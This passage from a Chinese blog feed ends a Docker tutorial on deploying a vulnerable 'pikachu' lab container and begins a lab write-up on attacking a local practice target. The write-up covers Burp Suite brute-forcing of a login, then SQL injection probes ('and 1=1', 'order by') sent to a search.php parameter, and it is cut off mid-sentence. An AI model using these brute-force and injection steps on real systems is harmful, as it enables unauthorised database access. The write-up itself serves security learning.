data-index-in-node=\"0\">--name my_pikachu</code></strong><span class=\"\">：（新知识！）给你的容器起个名字叫 </span><code class=\"\" data-path-to-node=\"14,2,0\" data-index-in-node=\"35\">my_pikachu</code><span class=\"\">，</span><span class=\"\">以后管理它（停止或重启）就不用背那串长长的 ID 了</span></p>\n</li>\n</ul>\n<h6>第四步：巡查（确认容器状态）</h6>\n<p><span class=\"\">命令运行完会返回一串长字符（容器 ID），</span><span class=\"\">但这不代表程序真的跑稳了</span></p>\n<p>输入以下命令，查看当前正在运行的容器：</p>\n<pre class=\"language-bash line-numbers\"><code>docker ps</code></pre>\n<ul>\n<li>\n<p data-path-to-node=\"18,0,0\">名词解释：ps (Process Status)<span class=\"\">：查看当前正在运行的容器。</span></p>\n</li>\n<li>\n<p data-path-to-node=\"18,1,0\">看什么？<span class=\"\">：看 </span>STATUS<span class=\"\"> 是不是 </span><code class=\"\" data-path-to-node=\"18,1,0\" data-index-in-node=\"18\">Up ... seconds</code><span class=\"\">（启动中），</span><span class=\"\">看 </span>PORTS 是不是 <code data-path-to-node=\"18,1,0\" data-index-in-node=\"50\">0.0.0.0:8765-&gt;80/tcp</code></p>\n</li>\n</ul>\n<h6>第五步：破壁（放行系统防火墙）</h6>\n<p>即便 Docker 内部映射好了端口，CentOS 7 自带的 <code data-path-to-node=\"4\" data-index-in-node=\"32\">firewalld</code> 防火墙默认通常只开启了 22 端口（SSH）。你需要手动推开 <strong data-path-to-node=\"4\" data-index-in-node=\"73\">8765</strong> 这扇大门</p>\n<p>输入以下命令，永久放行8765端口：</p>\n<pre class=\"language-bash line-numbers\"><code>sudo firewall-cmd --zone=public --add-port=8765/tcp --permanent</code></pre>\n<p>使用以下命令，重新加载防火墙配置，让刚才的修改立即生效</p>\n<pre class=\"language-bash line-numbers\"><code>sudo firewall-cmd --reload</code></pre>\n<ul>\n<li>\n<p data-path-to-node=\"7,0,0\">名词解释：<code>firewall-cmd</code>这是 CentOS 7 的防火墙管理工具</p>\n</li>\n<li>\n<p data-path-to-node=\"7,1,0\">名词解释：<code>--permanent</code>意思是“永久生效”，如果不加这个，你重启服务器后，这扇门又会被锁上</p>\n</li>\n</ul>\n<h6>第六步：验收（在浏览器中与它见面）</h6>\n<p>在你的物理机（比如你的 Windows 电脑）浏览器地址栏输入： <code data-path-to-node=\"12,1,0\" data-index-in-node=\"33\">http://服务器IP:8765</code></p>\n<p>我这里的是192.168.153.128，那就直接输入<code data-path-to-node=\"12,1,0\" data-index-in-node=\"33\">http://192.168.153.128:8765</code>，即可访问</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-144618.png\" alt=\"\" width=\"2879\" height=\"1608\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-144618-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-144618-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-144618-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-144618-xl.webp 1024w\"></figure>\n<h6>第七步：上锁（设置容器“自动复活甲”）</h6>\n<p>即使容器现在跑得欢，如果虚拟机重启，它默认是不会自己活过来的。我们需要给它补上一粒“后悔药”，让它学会自救</p>\n<pre class=\"language-bash line-numbers\"><code>docker update --restart=always my_pikachu</code></pre>\n<ul>\n<li>\n<p data-path-to-node=\"7,0,0\">名词解释：update：这是 Docker 的“动态修改器”，它允许你在不删除、不停止容器的情况下，直接修改它的运行规则</p>\n</li>\n<li>\n<p data-path-to-node=\"7,1,0\">名词解释：--restart=always：这是“自启策略”</p>\n<ul data-path-to-node=\"7,1,1\">\n<li>\n<p data-path-to-node=\"7,1,1,0,0\">它的含义：只要 Docker 服务在运行，无论容器是因为程序崩溃停了，还是因为服务器重启关了，Docker 都会<strong>立刻、无条件</strong>把它重新拉起来</p>\n</li>\n</ul>\n</li>\n</ul>\n<p>给容器加了“复活甲”还不够，如果你的 CentOS 7 开机时根本没启动 Docker 软件（那个总管），那容器也无从谈起</p>\n<p>输入以下命令，让docker服务，开启自启动：</p>\n<pre class=\"language-bash line-numbers\"><code>sudo systemctl enable docker</code></pre>\n<h6>第八步：善后（停止与清理）</h6>\n<p>如果你练习完了，不想让这个容器继续占用资源</p>\n<p>输入以下命令，停止容器：</p>\n<pre class=\"language-bash line-numbers\"><code>docker stop my_pikachu</code></pre>\n<p>删除容器命令（<code>*注意</code>：删除后，你在容器里做的改动会消失，但镜像还在）</p>\n<pre class=\"language-bash line-numbers\"><code>docker rm my_pikachu</code></pre>\n<ul>\n<li>名词解释：<code data-path-to-node=\"19,0,0\" data-index-in-node=\"16\">stop</code> 只是让程序“关机”休息，<code data-path-to-node=\"19,0,0\" data-index-in-node=\"33\">rm</code> 则是把这个“组装好的零件”彻底拆散扔掉</li>\n</ul>\n<p>如果你以后不打算再玩这个镜像了，需要把它从磁盘上抹掉</p>\n<pre class=\"language-bash line-numbers\"><code>docker rmi my_pikachu</code></pre>\n<ul>\n<li>\n<p data-path-to-node=\"10,0,1,0,0\">名词解释：<code data-path-to-node=\"10,0,1,0,0\" data-index-in-node=\"5\">rmi</code> 就是 remove image。</p>\n</li>\n<li>\n<p data-path-to-node=\"10,0,1,1,0\">注意：如果这个镜像还在被某个容器（哪怕是停止的容器）使用，Docker 会报错不允许你删除。必须先执行上面的 <code data-path-to-node=\"10,0,1,1,0\" data-index-in-node=\"55\">docker rm</code> 删掉容器，才能删镜像</p>\n</li>\n</ul>\n<h4 class=\"align-center\" dir=\"auto\">Docker 常用命令（超实用清单，建议收藏）</h4>\n<table data-path-to-node=\"5\">\n<thead>\n<tr>\n<td><strong>动作分类</strong></td>\n<td><strong>命令部分</strong></td>\n<td><strong>通俗解释</strong></td>\n<td><strong>实战案例</strong></td>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><span data-path-to-node=\"5,1,0,0\"><strong data-path-to-node=\"5,1,0,0\" data-index-in-node=\"0\">环境检查</strong></span></td>\n<td><span data-path-to-node=\"5,1,1,0\"><code data-path-to-node=\"5,1,1,0\" data-index-in-node=\"0\">systemctl show --property=Environment docker</code></span></td>\n<td><span data-path-to-node=\"5,1,2,0\"><strong data-path-to-node=\"5,1,2,0\" data-index-in-node=\"0\">查水表</strong>：看看 Docker 内部上网有没有挂代理</span></td>\n<td><span data-path-to-node=\"5,1,3,0\">确认是否能顺畅拉取国内外镜像</span></td>\n</tr>\n<tr>\n<td><span data-path-to-node=\"5,2,0,0\"><strong data-path-to-node=\"5,2,0,0\" data-index-in-node=\"0\">入库/下载</strong></span></td>\n<td><span data-path-to-node=\"5,2,1,0\"><code data-path-to-node=\"5,2,1,0\" data-index-in-node=\"0\">docker pull [镜像名]</code></span></td>\n<td><span data-path-to-node=\"5,2,2,0\"><strong data-path-to-node=\"5,2,2,0\" data-index-in-node=\"0\">下订单</strong>：从云端仓库把零件包拉到本地</span></td>\n<td><span data-path-to-node=\"5,2,3,0\"><code data-path-to-node=\"5,2,3,0\" data-index-in-node=\"0\">docker pull area39/pikachu</code></span></td>\n</tr>\n<tr>\n<td><span data-path-to-node=\"5,3,0,0\"><strong data-path-to-node=\"5,3,0,0\" data-index-in-node=\"0\">给容器取名</strong></span></td>\n<td><span data-path-to-node=\"5,3,1,0\"><code data-path-to-node=\"5,3,1,0\" data-index-in-node=\"0\">--name [自定义名称]</code></span></td>\n<td><span data-path-to-node=\"5,3,2,0\"><strong data-path-to-node=\"5,3,2,0\" data-index-in-node=\"0\">起绰号</strong>：给你的容器起个名字，方便以后点名</span></td>\n<td><span data-path-to-node=\"5,3,3,0\">在 <code data-path-to-node=\"5,3,3,0\" data-index-in-node=\"2\">run</code> 命令中加上 <code data-path-to-node=\"5,3,3,0\" data-index-in-node=\"12\">--name my-pikachu</code></span></td>\n</tr>\n<tr>\n<td><span data-path-to-node=\"5,4,0,0\"><strong data-path-to-node=\"5,4,0,0\" data-index-in-node=\"0\">开工/运行</strong></span></td>\n<td><span data-path-to-node=\"5,4,1,0\"><code data-path-to-node=\"5,4,1,0\" data-index-in-node=\"0\">docker run -d -p [端口映射] --name [名] [镜像]</code></span></td>\n<td><span data-path-to-node=\"5,4,2,0\"><strong data-path-to-node=\"5,4,2,0\" data-index-in-node=\"0\">组装并开机</strong>：后台运行并分配名字和端口</span></td>\n<td><span data-path-to-node=\"5,4,3,0\"><code data-path-to-node=\"5,4,3,0\" data-index-in-node=\"0\">docker run -d -p 8080:80 --name pikachu area39/pikachu</code></span></td>\n</tr>\n<tr>\n<td><span data-path-to-node=\"5,5,0,0\"><strong data-path-to-node=\"5,5,0,0\" data-index-in-node=\"0\">查看状态</strong></span></td>\n<td><span data-path-to-node=\"5,5,1,0\"><code data-path-to-node=\"5,5,1,0\" data-index-in-node=\"0\">docker ps -a</code></span></td>\n<td><span data-path-to-node=\"5,5,2,0\"><strong data-path-to-node=\"5,5,2,0\" data-index-in-node=\"0\">点名</strong>：看看有哪些容器在干活，哪些在偷懒</span></td>\n<td><span data-path-to-node=\"5,5,3,0\">检查名为 <code data-path-to-node=\"5,5,3,0\" data-index-in-node=\"5\">pikachu</code> 的容器是否状态为 <code data-path-to-node=\"5,5,3,0\" data-index-in-node=\"22\">Up</code></span></td>\n</tr>\n<tr>\n<td><span data-path-to-node=\"5,6,0,0\"><strong data-path-to-node=\"5,6,0,0\" data-index-in-node=\"0\">停止/拆除</strong></span></td>\n<td><span data-path-to-node=\"5,6,1,0\"><code data-path-to-node=\"5,6,1,0\" data-index-in-node=\"0\">docker stop/rm [名字/ID]</code></span></td>\n<td><span data-path-to-node=\"5,6,2,0\"><strong data-path-to-node=\"5,6,2,0\" data-index-in-node=\"0\">下班/拆迁</strong>：让容器停止或直接销毁</span></td>\n<td><span data-path-to-node=\"5,6,3,0\"><code data-path-to-node=\"5,6,3,0\" data-index-in-node=\"0\">docker rm -f pikachu</code></span></td>\n</tr>\n<tr>\n<td><span data-path-to-node=\"5,7,0,0\"><strong data-path-to-node=\"5,7,0,0\" data-index-in-node=\"0\">清理零件</strong></span></td>\n<td><span data-path-to-node=\"5,7,1,0\"><code data-path-to-node=\"5,7,1,0\" data-index-in-node=\"0\">docker rmi [镜像ID]</code></span></td>\n<td><span data-path-to-node=\"5,7,2,0\"><strong data-path-to-node=\"5,7,2,0\" data-index-in-node=\"0\">清空仓库</strong>：删掉本地存着的镜像原始包</span></td>\n<td><span data-path-to-node=\"5,7,3,0\">注意：必须先删掉关联容器才能删镜像</span></td>\n</tr>\n</tbody>\n</table>\n<h6 class=\"align-center\" dir=\"auto\">感谢您的访问，本章教程到此结束(*/ω＼*)</h6>",
            "author": {
                "name": "云泽"
            },
            "tags": [
                   "Linux学习笔记"
            ],
            "date_published": "2026-03-27T10:22:51+09:00",
            "date_modified": "2026-04-23T22:52:26+09:00"
        },
        {
            "id": "https://old.zeyun.org/sql-part1.html",
            "url": "https://old.zeyun.org/sql-part1.html",
            "title": "SQL 注入入门：从暴力破解到 Union 注入（实验记录）",
            "summary": "环境说明 靶场：本地搭建的 Seafaring 旅行社仿真靶机（靶场镜像下载连接：点我下载） 目标：通过&hellip;",
            "content_html": "<h5 class=\"align-left\">环境说明</h5>\n<ul>\n<li>靶场：本地搭建的 Seafaring 旅行社仿真靶机（靶场镜像下载连接：<a href=\"https://www.ilanzou.com/s/8zxM5jOC\" target=\"_blank\" rel=\"noopener noreferrer\">点我下载</a>）</li>\n<li>目标：通过 SQL 注入获取数据库中 admin 表的账号密码，从而获取到Flag</li>\n<li>工具：burp suite，浏览器地址栏</li>\n</ul>\n<h4 class=\"align-center\">思路一：直接打开登录界面，使用burp suite自带字典爆破</h4>\n<h6>步骤一：使用burp suite抓取网页请求包</h6>\n<p>（1）打开之前在安装burp suite的这一篇时候安装的这个浏览器插件，来接管浏览器的流量</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/Xuan-Ze.png\" alt=\"\" width=\"2140\" height=\"1284\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/Xuan-Ze-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Xuan-Ze-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Xuan-Ze-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Xuan-Ze-xl.webp 1024w\"></figure>\n<p>（2）在burp suite中依次选择框选界面（并且将Intercept设置为on）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/Yi-Ci-Xuan-Ze.png\" alt=\"\" width=\"1974\" height=\"1110\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/Yi-Ci-Xuan-Ze-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Yi-Ci-Xuan-Ze-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Yi-Ci-Xuan-Ze-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Yi-Ci-Xuan-Ze-xl.webp 1024w\"></figure>\n<p>（3）返回浏览器，输入一些信息，使得burp suite能够拦截到包</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/Shu-Ru.png\" alt=\"\" width=\"2102\" height=\"1183\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/Shu-Ru-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Shu-Ru-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Shu-Ru-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Shu-Ru-xl.webp 1024w\"></figure>\n<p>上图即为抓到包的截图</p>\n<h6>步骤二：选择需要爆破的内容</h6>\n<p>（1）回到burp suite，并选择如下的操作</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/Da-Kai.png\" alt=\"\" width=\"2879\" height=\"1703\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/Da-Kai-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Da-Kai-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Da-Kai-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Da-Kai-xl.webp 1024w\"></figure>\n<p>（2）打开后会看到这个界面（这就是burp suite所拦截的内容）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/Ping-Mu-Jie-Tu-2026-03-22-213022.png\" alt=\"\" width=\"2879\" height=\"1705\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-22-213022-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-22-213022-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-22-213022-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-22-213022-xl.webp 1024w\"></figure>\n<p>（3）选择需要爆破的内容（给需要爆破的地方加上<code>$</code>符号）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/add.png\" alt=\"\" width=\"2879\" height=\"1702\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/add-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/add-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/add-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/add-xl.webp 1024w\"></figure>\n<p>（4）选择攻击模式（为了演示的方便，所以我会手动配置用户名字典，并选择自带的密码来爆破）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/Ping-Mu-Jie-Tu-2026-03-24-221527.png\" alt=\"\" width=\"2879\" height=\"1699\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-221527-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-221527-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-221527-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-221527-xl.webp 1024w\"></figure>\n<p>考虑到我们目前不知道用户名也不知道密码，所以这里我们使用这个模式</p>\n<p>不同的爆破模式解释，如下表</p>\n<table style=\"border-collapse: collapse; width: 99.8575%; height: 420px;\" border=\"1\">\n<tbody>\n<tr style=\"height: 56.3438px;\">\n<th class=\"text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold\" style=\"width: 29.6565%; height: 56.3438px;\" scope=\"col\">攻击类型</th>\n<th class=\"text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold\" style=\"width: 34.5276%; height: 56.3438px;\" scope=\"col\">说明</th>\n<th class=\"text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold\" style=\"width: 35.817%; height: 56.3438px;\" scope=\"col\">适用场景</th>\n</tr>\n<tr style=\"height: 102.562px;\">\n<td style=\"width: 29.6565%; height: 102.562px;\">Sniper (狙击手)</td>\n<td style=\"width: 34.5276%; height: 102.562px;\"> 一个字典，逐个位置替换</td>\n<td style=\"width: 35.817%; height: 102.562px;\"><strong data-path-to-node=\"5,1,3,0\" data-index-in-node=\"0\">探测漏洞</strong>：测单个参数是否有注入或爆破单账号密码</td>\n</tr>\n<tr style=\"height: 76.6562px;\">\n<td style=\"width: 29.6565%; height: 76.6562px;\">Battering ram (攻城槌)</td>\n<td style=\"width: 34.5276%; height: 76.6562px;\">一个字典，同时替换所有位置</td>\n<td style=\"width: 35.817%; height: 76.6562px;\"><strong data-path-to-node=\"5,2,3,0\" data-index-in-node=\"0\">同步填充</strong>：账号和密码必须<strong data-path-to-node=\"5,2,3,0\" data-index-in-node=\"12\">一模一样</strong>时使用</td>\n</tr>\n<tr style=\"height: 47.359px;\">\n<td style=\"width: 29.6565%; height: 47.359px;\">Pitchfork (草叉)</td>\n<td style=\"width: 34.5276%; height: 47.359px;\">多个字典，同步替换</td>\n<td style=\"width: 35.817%; height: 47.359px;\">\n<p> <strong data-path-to-node=\"5,3,3,0\" data-index-in-node=\"0\">定向爆破</strong>：你有已知的“账号:密码”<strong data-path-to-node=\"5,3,3,0\" data-index-in-node=\"17\">成对名单</strong></p>\n</td>\n</tr>\n<tr style=\"height: 75.5625px;\">\n<td style=\"width: 29.6565%; height: 75.5625px;\">Cluster bomb(集束炸弹)</td>\n<td style=\"width: 34.5276%; height: 75.5625px;\">多个字典，全排列组合</td>\n<td style=\"width: 35.817%; height: 75.5625px;\"><strong data-path-to-node=\"5,4,3,0\" data-index-in-node=\"0\">全方位爆破</strong>：完全不知道对应关系，尝试<strong data-path-to-node=\"5,4,3,0\" data-index-in-node=\"18\">所有组合</strong></td>\n</tr>\n</tbody>\n</table>\n<h6 class=\"align-center\"><strong data-path-to-node=\"8,2,0\" data-index-in-node=\"0\">这里我们的判断是账号密码都不知道，先尝试死磕：</strong> 用 <strong data-path-to-node=\"8,2,0\" data-index-in-node=\"16\">Cluster bomb模式</strong></h6>\n<h6>步骤三：添加爆破参数</h6>\n<p>（1）Payload 1（用户名位置）自己添加用户名字典</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/Zi-Ji-Tian-Jia-1-2.png\" alt=\"\" width=\"2879\" height=\"1704\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-1-2-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-1-2-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-1-2-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-1-2-xl.webp 1024w\"></figure>\n<p><code>*注意：</code>组合数量会随字典增大呈爆炸式增长，所以这里我就仅仅添加几个常见的用户名作为演示</p>\n<p>（2）Payload 2（密码位置）选择默认的Password字典</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/Zi-Ji-Tian-Jia-2.png\" alt=\"\" width=\"2879\" height=\"1706\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-2-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-2-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-2-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Zi-Ji-Tian-Jia-2-xl.webp 1024w\"></figure>\n<p>（3）点击 Start attack 开始爆破（下图为爆破成功的截图）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/Ping-Mu-Jie-Tu-2026-03-24-223544.png\" alt=\"\" width=\"2879\" height=\"1703\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-223544-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-223544-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-223544-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-223544-xl.webp 1024w\"></figure>\n<p>在 Web 安全测试中，绝大多数请求都会失败，所以<strong data-path-to-node=\"1\" data-index-in-node=\"25\">我们要找的是那个“与众不同”的请求</strong>（通常主要看以下几个方面：Length，Status code，Response received / Error中）</p>\n<p>含义解释：</p>\n<table style=\"width: 99.5726%; height: 357.248px;\" data-path-to-node=\"3\">\n<thead>\n<tr style=\"height: 48.5625px;\">\n<td style=\"width: 31.9544%; height: 48.5625px;\"><strong>指标名称</strong></td>\n<td style=\"width: 21.398%; height: 48.5625px;\"><strong>观察重点</strong></td>\n<td style=\"width: 46.6476%; height: 48.5625px;\"><strong>核心目的 (看它代表什么)</strong></td>\n</tr>\n</thead>\n<tbody>\n<tr style=\"height: 102.562px;\">\n<td style=\"width: 31.9544%; height: 102.562px;\">Length (长度)</td>\n<td style=\"width: 21.398%; height: 102.562px;\"><span data-path-to-node=\"3,1,1,0\"><strong data-path-to-node=\"3,1,1,0\" data-index-in-node=\"0\">找数值突变</strong></span></td>\n<td style=\"width: 46.6476%; height: 102.562px;\"><span data-path-to-node=\"3,1,2,0\">判断<strong data-path-to-node=\"3,1,2,0\" data-index-in-node=\"2\">页面内容</strong>是否变化：数值不同说明服务器返回了不同的信息（如成功 vs 失败）</span></td>\n</tr>\n<tr style=\"height: 103.562px;\">\n<td style=\"width: 31.9544%; height: 103.562px;\">Status Code (状态码)</td>\n<td style=\"width: 21.398%; height: 103.562px;\"><span data-path-to-node=\"3,2,1,0\"><strong data-path-to-node=\"3,2,1,0\" data-index-in-node=\"0\">找 302 / 200</strong></span></td>\n<td style=\"width: 46.6476%; height: 103.562px;\"><span data-path-to-node=\"3,2,2,0\">判断<strong data-path-to-node=\"3,2,2,0\" data-index-in-node=\"2\">请求状态</strong>：出现 <code data-path-to-node=\"3,2,2,0\" data-index-in-node=\"10\">302</code> 通常代表登录成功并跳转；出现 <code data-path-to-node=\"3,2,2,0\" data-index-in-node=\"29\">403/429</code> 说明你被封 IP 了</span></td>\n</tr>\n<tr style=\"height: 102.562px;\">\n<td style=\"width: 31.9544%; height: 102.562px;\"><span data-path-to-node=\"3,3,0,0\">Response (响应耗时)</span></td>\n<td style=\"width: 21.398%; height: 102.562px;\"><span data-path-to-node=\"3,3,1,0\"><strong data-path-to-node=\"3,3,1,0\" data-index-in-node=\"0\">找异常延迟</strong></span></td>\n<td style=\"width: 46.6476%; height: 102.562px;\"><span data-path-to-node=\"3,3,2,0\">判断<strong data-path-to-node=\"3,3,2,0\" data-index-in-node=\"2\">服务器逻辑</strong>：在盲注或特定防御下，正确的 Payload 可能会让服务器处理时间明显变长</span></td>\n</tr>\n</tbody>\n</table>\n<p>接下来，这里我们选择的是 <strong>Length </strong>选项，也就是不同的行（如下图所示，找最特殊的那一个）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/uibl.png\" alt=\"\" width=\"2879\" height=\"1711\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/uibl-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/uibl-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/uibl-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/uibl-xl.webp 1024w\"></figure>\n<p>可是我们这里并没有找到合适的选项（也就说明了这个password字典里并没有我们需要的正确的密码）所以需要尝试另一种思路</p>\n<h4 class=\"align-center\">思路二：主动寻找注入漏洞，使用Union联合查询注入</h4>\n<h5>注入原理简介</h5>\n<p>Union 注入是 SQL 注入中最经典的一种方式。当网站后端直接将用户输入拼接进 SQL 语句时，攻击者可以通过构造 <code>UNION SELECT</code> 语句，将额外的查询结果\"拼接\"到原有结果中一起返回，从而读取数据库中任意表的内容</p>\n<h5>整体思路</h5>\n<ol>\n<li>寻找注入点</li>\n<li>判断注入类型（字符型 / 整数型）</li>\n<li>确认查询列数（<code>order by</code>）</li>\n<li>使用 Union 联合查询获取数据库信息</li>\n<li>查询目标表的列名</li>\n<li>读取目标数据</li>\n</ol>\n<h6>步骤一：发现注入点</h6>\n<p>靶机首页有一个搜索框，随意输入内容后观察 URL 栏，发现搜索内容通过 <code>id</code> 参数传递</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/Cha-Xun.png\" alt=\"\" width=\"2879\" height=\"1614\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/Cha-Xun-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Cha-Xun-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Cha-Xun-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Cha-Xun-xl.webp 1024w\"></figure>\n<p>在地址栏直接输入 <code>id=1</code>，页面正常返回了数据库中的一条记录，内容如下：</p>\n<pre class=\"language-sql line-numbers\"><code>array(6) { [0]=&gt; string(1) \"1\" [\"id\"]=&gt; string(1) \"1\" [1]=&gt; string(23) \"SQL injection can occur\" [\"news\"]=&gt; string(23) \"SQL injection can occur\" [2]=&gt; string(10) \"2019-05-30\" [\"pub_date\"]=&gt; string(10) \"2019-05-30\" }</code></pre>\n<p>从返回结果可以判断，查询共返回了 3 个字段：<code>id</code>、<code>news</code>、<code>pub_date</code></p>\n<p><code>*注意：</code>注入测试必须直接在浏览器地址栏输入 URL，不要通过搜索框输入，否则内容会被 URL 编码处理，影响注入效果</p>\n<h6>步骤二：判断注入类型</h6>\n<p>在地址栏分别输入以下两条语句，测试是否存在整数型注入</p>\n<pre class=\"language-sql line-numbers\"><code>192.168.153.139/search.php?id=1+and+1=1</code></pre>\n<pre class=\"language-sql line-numbers\"><code>192.168.153.139/search.php?id=1+and+1=2</code></pre>\n<p><code>*核心思路</code>：用一个<strong>永真条件</strong>和一个<strong>永假条件</strong>做对比，根据结果不同间接证明我们写的代码被数据库执行了</p>\n<table style=\"width: 99.5726%; height: 145.688px;\">\n<tbody>\n<tr style=\"height: 48.5625px;\">\n<th class=\"align-left\" style=\"width: 49.3581%; height: 48.5625px;\">输入</th>\n<th class=\"align-left\" style=\"width: 50.6419%; height: 48.5625px;\">结果</th>\n</tr>\n<tr style=\"height: 48.5625px;\">\n<td style=\"width: 49.3581%; height: 48.5625px;\">id=1+and+1=1</td>\n<td style=\"width: 50.6419%; height: 48.5625px;\">正常返回数据 ✅</td>\n</tr>\n<tr style=\"height: 48.5625px;\">\n<td style=\"width: 49.3581%; height: 48.5625px;\">id=1+and+1=2</td>\n<td style=\"width: 50.6419%; height: 48.5625px;\">返回 NULL</td>\n</tr>\n</tbody>\n</table>\n<p>两次结果不同，确认为<strong>整数型注入</strong>，不需要单引号（如果你分不清这个注入类型，以及这个基础的地址栏的信息咋判断，<a href=\"https://old.zeyun.org/sql_basic_knowledge.html\">请点击我跳转基础知识补全</a>）</p>\n<h6>步骤三：确认查询列数</h6>\n<p>使用 <code>order by</code> 逐步测试列数，直到返回 NULL：</p>\n<pre class=\"language-sql line-numbers\"><code>192.168.153.139/search.php?id=1+order+by+1\n192.168.153.139/search.php?id=1+order+by+2\n192.168.153.139/search.php?id=1+order+by+3\n192.168.153.139/search.php?id=1+order+by+4   ← 此处返回 NULL</code></pre>\n<p>结果是，order by 4 返回 NULL，说明查询共有 <strong>3 